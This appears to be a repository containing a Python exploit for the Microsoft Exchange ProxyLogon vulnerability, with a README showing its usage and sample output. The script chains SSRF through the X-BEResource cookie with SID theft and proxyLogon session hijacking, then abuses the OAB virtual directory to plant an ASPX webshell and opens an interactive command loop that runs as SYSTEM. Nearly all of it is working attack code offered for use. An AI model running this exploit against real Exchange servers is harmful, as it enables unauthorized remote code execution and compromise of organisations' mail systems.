├── README.md └── exchange-exp.py /README.md: -------------------------------------------------------------------------------- 1 | ## Usage 2 | 3 | ``` 4 | python3 .\exchange-exp.py 5 | 6 | -------------------------------------------------------------------------------- 7 | | | 8 | | Usage: python .\exchange-exp.py 9 | | Usage: python .\exchange-exp.py mail.exchange.cn administrator@exchange.cn 10 | | | 11 | -------------------------------------------------------------------------------- 12 | ``` 13 | 14 | 15 | 16 | ``` 17 | PS C:\> python3 .\exchange-exp.py mail.exchange.cn administrator@exchange.cn 18 | 19 | [*] Getting ComputerName and DomainName 20 | [+] domain : xxx-xxxx 21 | | 22 | [+] computer : xxx.xxx-xxxx.xxx 23 | | 24 | [*] Getting LegacyDN 25 | [+] LegacyDN : /o=SCHMIDT-STEUER/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=06404e2e5d114531aa9477394e545b72-Administr 26 | | 27 | [*] Getting SID 28 | [+] SID : xxxxx 29 | | 30 | [*] Getting session 31 | [+] session : xxxxx 32 | | 33 | [*] Getting msExchEcpCanary 34 | [+] msExchEcpCanary : xxxxxx 35 | | 36 | [*]Got OAB id 37 | [+] OAB : xxxxxx 38 | | 39 | [*]upload shell success 40 | POST shell:https://target/owa/auth/qwesdSDFASFQqeqweqsf.aspx 41 | | 42 | [+] request shell now 43 | | 44 | [*]Got shell success 45 | | 46 | 47 | [+] 权限如下:nt-autorit\system 48 | 49 | | 50 | [+] input exit or quit to exit ! 51 | PS C:\> hostname 52 | exchange 53 | 54 | PS C:\> 55 | 56 | ``` 57 | 58 | 59 | # Reference: 60 | 61 | https://github.com/sirpedrotavares/Proxylogon-exploit 62 | 63 | 64 | -------------------------------------------------------------------------------- /exchange-exp.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from urllib3.exceptions import InsecureRequestWarning 3 | import random 4 | import string 5 | import sys 6 | import base64 7 | import re 8 | import time 9 | from struct import unpack 10 | 11 | requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) 12 | 13 | if len(sys.argv) < 2: 14 | print() 15 | print("--------------------------------------------------------------------------------") 16 | print("| |") 17 | print("| Usage: python {} ".format(sys.argv[0])) 18 | print("| Usage: python {} mail.exchange.cn administrator@exchange.cn ".format(sys.argv[0])) 19 | print("| |") 20 | print("--------------------------------------------------------------------------------") 21 | print() 22 | exit() 23 | 24 | proxies = { 25 | "http": "http://127.0.0.1:8080", 26 | "https": "http://127.0.0.1:8080" 27 | } 28 | 29 | 30 | # 随机获取到名称 31 | def id_generator(size=6, chars=string.ascii_lowercase + string.digits): 32 | return ''.join(random.choice(chars) for _ in range(size)) 33 | 34 | 35 | random_name = id_generator(4) + ".js" 36 | 37 | target = sys.argv[1] 38 | email = sys.argv[2] 39 | LOCAL_NAME = '' 40 | DOMAIN = '' 41 | COMPUTER = '' 42 | 43 | random_str = ''.join(random.sample(string.ascii_letters + string.digits, 20)) 44 | user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 " \ 45 | "Safari/537.36 " 46 | 47 | shell_path = "Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\" + random_str + ".aspx" 48 | shell_absolute_path = "\\\\127.0.0.1\\c$\\%s" % shell_path 49 | 50 | # webshell 51 | shell_content = ' ' 53 | 54 | # webshell exec 55 | ''' 56 | code=Response.Write( 57 | new ActiveXObject("WScript.Shell") 58 | .exec("whoami") 59 | .StdOut.ReadAll() 60 | ); 61 | ''' 62 | 63 | 64 | # 解析NTLM 65 | def _unpack_str(byte_string): 66 | return byte_string.decode('UTF-8').replace('\x00', '') 67 | 68 | 69 | def _unpack_int(format, data): 70 | return unpack(format, data)[0] 71 | 72 | 73 | def parse_challenge(auth): 74 | target_info_field = auth[40:48] 75 | target_info_len = _unpack_int('H', target_info_field[0:2]) 76 | target_info_offset = _unpack_int('I', target_info_field[4:8]) 77 | target_info_bytes = auth[target_info_offset:target_info_offset + target_info_len] 78 | domain_name = '' 79 | computer_name = '' 80 | info_offset = 0 81 | while info_offset < len(target_info_bytes): 82 | av_id = _unpack_int('H', target_info_bytes[info_offset:info_offset + 2]) 83 | av_len = _unpack_int('H', target_info_bytes[info_offset + 2:info_offset + 4]) 84 | av_value = target_info_bytes[info_offset + 4:info_offset + 4 + av_len] 85 | 86 | info_offset = info_offset + 4 + av_len 87 | if av_id == 2: # MsvAvDnsDomainName 88 | domain_name = _unpack_str(av_value) 89 | elif av_id == 3: # MsvAvDnsComputerName 90 | computer_name = _unpack_str(av_value) 91 | 92 | assert domain_name, 'DomainName not found' 93 | assert computer_name, 'ComputerName not found' 94 | 95 | return domain_name, computer_name 96 | 97 | 98 | def get_ComputerName(): 99 | print('\n[*] Getting ComputerName and DomainName') 100 | 101 | ''' 102 | ntlm_type1 = ( 103 | 'NTLMSSP\x00' # NTLMSSp Signature 104 | '\x01\x00\x00\x00' # Message Type 105 | '\x97\x82\x08\xe2' # Flags 106 | '\x00\x00\x00\x00\x00\x00\x00\x00' # Domain String 107 | '\x00\x00\x00\x00\x00\x00\x00\x00' # Workstation String 108 | '\x0a\x00\xba\x47\x00\x00\x00\x0f' # OS Version 109 | ) 110 | ''' 111 | 112 | # NTLM 请求通过在 headers 中添加一个 Authorization:Negotiate 字段 113 | headers = { 114 | 'Authorization': 'Negotiate {}'.format('TlRMTVNTUAABAAAAl4II4gAAAAAAAAAAAAAAAAAAAAAKALpHAAAADw==') 115 | } 116 | # 请求rpc 获取NTLM 认证 117 | # nmap也有一个可以通过rpc来获取exchange信息的 118 | # nmap MAIL -p 443 --script http-ntlm-info --script-args http-ntlm-info.root=/rpc/rpcproxy.dll 119 | r = requests.get('https://%s/rpc/' % target, headers=headers, verify=False, proxies=proxies) 120 | auth_header = r.headers['WWW-Authenticate'] 121 | auth = re.search('Negotiate ([A-Za-z0-9/+=]+)', auth_header).group(1) 122 | domain_name, computer_name = parse_challenge(base64.b64decode(auth)) 123 | print("[+] domain : ", domain_name) 124 | print(" |") 125 | print("[+] computer : ", computer_name) 126 | return computer_name, domain_name 127 | 128 | 129 | # 获取sid 130 | def get_sid(mail): 131 | global target, LOCAL_NAME 132 | payload = ''' 133 | 134 | 135 | %s 136 | http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a 137 | 138 | 139 | ''' % mail 140 | ssrf_xml = requests.post( 141 | "https://{}/ecp/{}".format(target, random_name), 142 | headers={ 143 | "Cookie": "X-BEResource=%s/autodiscover/autodiscover.xml?a=~1942062522;" % LOCAL_NAME, 144 | "Content-Type": "text/xml", 145 | "User-Agent": user_agent, 146 | }, 147 | data=payload, 148 | proxies=proxies, 149 | verify=False 150 | ) 151 | if ssrf_xml.status_code != 200: 152 | print() 153 | print("[-] Autodiscover Error! status_code is %s \n" % ssrf_xml.status_code) 154 | exit() 155 | 156 | if "500" in ssrf_xml.text: 157 | print("[-] Invalid E-Mail-Adresse ! or E-Mail-Adresse : email@domain \n") 158 | exit() 159 | elif "" not in str(ssrf_xml.content): 160 | print("[-] Can not get LegacyDN!") 161 | exit() 162 | 163 | legacyDn = str(ssrf_xml.content).split("")[1].split(r"")[0] 164 | print(" |") 165 | print("[*] Getting LegacyDN") 166 | print("[+] LegacyDN : " + legacyDn) 167 | 168 | mapi_body = legacyDn + "\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00" 169 | 170 | ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={ 171 | "Cookie": "X-BEResource=Administrator@%s:444/mapi/emsmdb?MailboxId=f26bc937-b7b3-4402-b890-96c46713e5d5" 172 | "@exchange.lab&a=~1942062522;" % LOCAL_NAME, 173 | "Content-Type": "application/mapi-http", 174 | "X-Requesttype": "Connect", 175 | "X-Clientinfo": "{2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}", 176 | "X-Clientapplication": "Outlook/15.0.4815.1002", 177 | "X-Requestid": "{E2EA6C1C-E61B-49E9-9CFB-38184F907552}:123456", 178 | "User-Agent": user_agent 179 | }, 180 | data=mapi_body, 181 | verify=False, 182 | proxies=proxies, 183 | ) 184 | if ct.status_code != 200 or "act as owner of a UserMailbox" not in str(ct.content): 185 | print("[-] Mapi Error!") 186 | exit() 187 | sid = str(ct.content).split("with SID ")[1].split(" and MasterAccountSid")[0] 188 | 189 | print(" |") 190 | print("[*] Getting SID") 191 | print("[+] SID : " + sid) 192 | return sid 193 | 194 | 195 | def proxyLogon(sid): 196 | proxyLogon_data = """%sS-1-1-0S-1-5-2S-1-5-11S-1-5-15S-1-5-5-0-6948923 199 | """ % sid 200 | proxyLogon_res = requests.post("https://%s/ecp/%s" % (target, random_name), headers={ 201 | "Cookie": "X-BEResource=Administrator@%s:444/ecp/proxyLogon.ecp?a=~1942062522;" % LOCAL_NAME, 202 | "Content-Type": "text/xml", 203 | "msExchLogonMailbox": "S-1-5-20", 204 | "User-Agent": user_agent 205 | }, 206 | verify=False, 207 | proxies=proxies, 208 | data=proxyLogon_data, 209 | ) 210 | if proxyLogon_res.status_code != 241 or not "set-cookie" in proxyLogon_res.headers: 211 | print("[-] Proxylogon Error!") 212 | exit() 213 | sess_id = proxyLogon_res.headers['set-cookie'].split("ASP.NET_SessionId=")[1].split(";")[0] 214 | 215 | msExchEcpCanary = proxyLogon_res.headers['set-cookie'].split("msExchEcpCanary=")[1].split(";")[0] 216 | print(" |") 217 | print("[*] Getting session") 218 | print("[+] session : " + sess_id) 219 | print(" |") 220 | print("[*] Getting msExchEcpCanary") 221 | print("[+] msExchEcpCanary : " + msExchEcpCanary) 222 | 223 | ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={ 224 | "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory" 225 | "&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % ( 226 | LOCAL_NAME, msExchEcpCanary, sess_id, msExchEcpCanary), 227 | "Content-Type": "application/json; ", 228 | "msExchLogonMailbox": "S-1-5-20", 229 | "User-Agent": user_agent 230 | 231 | }, 232 | json={"filter": { 233 | "Parameters": { 234 | "__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", 235 | "SelectedView": "", "SelectedVDirType": "All"}}, "sort": {}}, 236 | verify=False, proxies=proxies 237 | ) 238 | 239 | if ct.status_code != 200: 240 | print("[-] GetOAB Error!") 241 | exit() 242 | elif "RawIdentity" not in ct.text: 243 | print("[-] Get OAB Error!") 244 | exit() 245 | 246 | oabId = str(ct.content).split('"RawIdentity":"')[1].split('"')[0] 247 | print(" |") 248 | print("[*]Got OAB id") 249 | print("[+] OAB : " + oabId) 250 | 251 | oab_json = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId}, 252 | "properties": { 253 | "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", 254 | "ExternalUrl": "http://ffff/#%s" % shell_content}}} 255 | 256 | ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={ 257 | "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % ( 258 | LOCAL_NAME, msExchEcpCanary, sess_id, msExchEcpCanary), 259 | "msExchLogonMailbox": "S-1-5-20", 260 | "Content-Type": "application/json; charset=utf-8", 261 | "User-Agent": user_agent 262 | }, 263 | json=oab_json, 264 | verify=False, proxies=proxies 265 | ) 266 | if ct.status_code != 200: 267 | print("Set external url Error!") 268 | exit() 269 | 270 | reset_oab_body = { 271 | "identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId}, 272 | "properties": { 273 | "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", 274 | "FilePathName": shell_absolute_path}}} 275 | 276 | ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={ 277 | "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % ( 278 | LOCAL_NAME, msExchEcpCanary, sess_id, msExchEcpCanary), 279 | "msExchLogonMailbox": "S-1-5-20", 280 | "Content-Type": "application/json; charset=utf-8", 281 | "User-Agent": user_agent 282 | }, 283 | json=reset_oab_body, 284 | verify=False, proxies=proxies 285 | ) 286 | 287 | if ct.status_code != 200: 288 | print("[-] Got shell failure ! ") 289 | exit() 290 | 291 | print(" |") 292 | print("[*]upload shell success") 293 | print("POST shell:https://" + target + "/owa/auth/" + random_str + ".aspx") 294 | print(" |") 295 | print("[+] request shell now") 296 | shell_url = "https://" + target + "/owa/auth/" + random_str + ".aspx" 297 | time.sleep(10) 298 | # print('code=Response.Write(new ActiveXObject("WScript.Shell").exec("whoami").StdOut.ReadAll());') 299 | 300 | # data = requests.post(shell_url, data={ 301 | # "code": "Response.Write(new ActiveXObject(\"WScript.Shell\").exec(\"whoami\").StdOut.ReadAll());"}, 302 | # verify=False, proxies=proxies) 303 | post_data = {"code": "Response.Write(new ActiveXObject(\"WScript.Shell\").exec(\"whoami\").StdOut.ReadAll());"} 304 | data = requests.get(shell_url, verify=False, proxies=proxies) 305 | if data.status_code != 200: 306 | print("[-] request shell failure ") 307 | exit() 308 | elif "
404
" in data.text: 309 | print("[-] request shell failure , 404 shell ! ") 310 | exit() 311 | elif "OAB (Default Web Site)" in data.text: 312 | print("\n |") 313 | print("[*]Got shell success") 314 | print(" |") 315 | 316 | data = requests.get(shell_url, verify=False, data=post_data, proxies=proxies) 317 | if data.status_code == 500: 318 | print("[-] exec error !\n") 319 | elif data.status_code != 200: 320 | print("[-] request shell failure ") 321 | elif "
404
" in data.text: 322 | print("[-] request shell failure , 404 shell ! ") 323 | else: 324 | print("[+] 权限如下:" + data.text.split("OAB (Default Web Site)")[0].replace("Name : ", 325 | "")) 326 | print(" |") 327 | print("[+] input exit or quit to exit !") 328 | while True: 329 | 330 | cmd = input("PS C:\> ") 331 | 332 | if cmd == "exit" or cmd == "quit" or cmd == "q": 333 | exit() 334 | elif cmd == "": 335 | print("command null ! ") 336 | else: 337 | data = requests.post(shell_url, data={ 338 | "code": "Response.Write(new ActiveXObject(\"WScript.Shell\").exec(\"{}\").StdOut.ReadAll());".format( 339 | cmd)}, 340 | verify=False, proxies=proxies) 341 | if data.status_code == 500: 342 | print("[-] exec error ! ") 343 | elif "errorFooter" in data.text: 344 | print("[-] exec error ! ") 345 | else: 346 | print(data.text.split("OAB (Default Web Site)")[0].replace("Name : ", 347 | "")) 348 | 349 | 350 | if __name__ == '__main__': 351 | LOCAL_NAME, DOMAIN = get_ComputerName() 352 | sid = get_sid(email) 353 | proxyLogon(sid) 354 | --------------------------------------------------------------------------------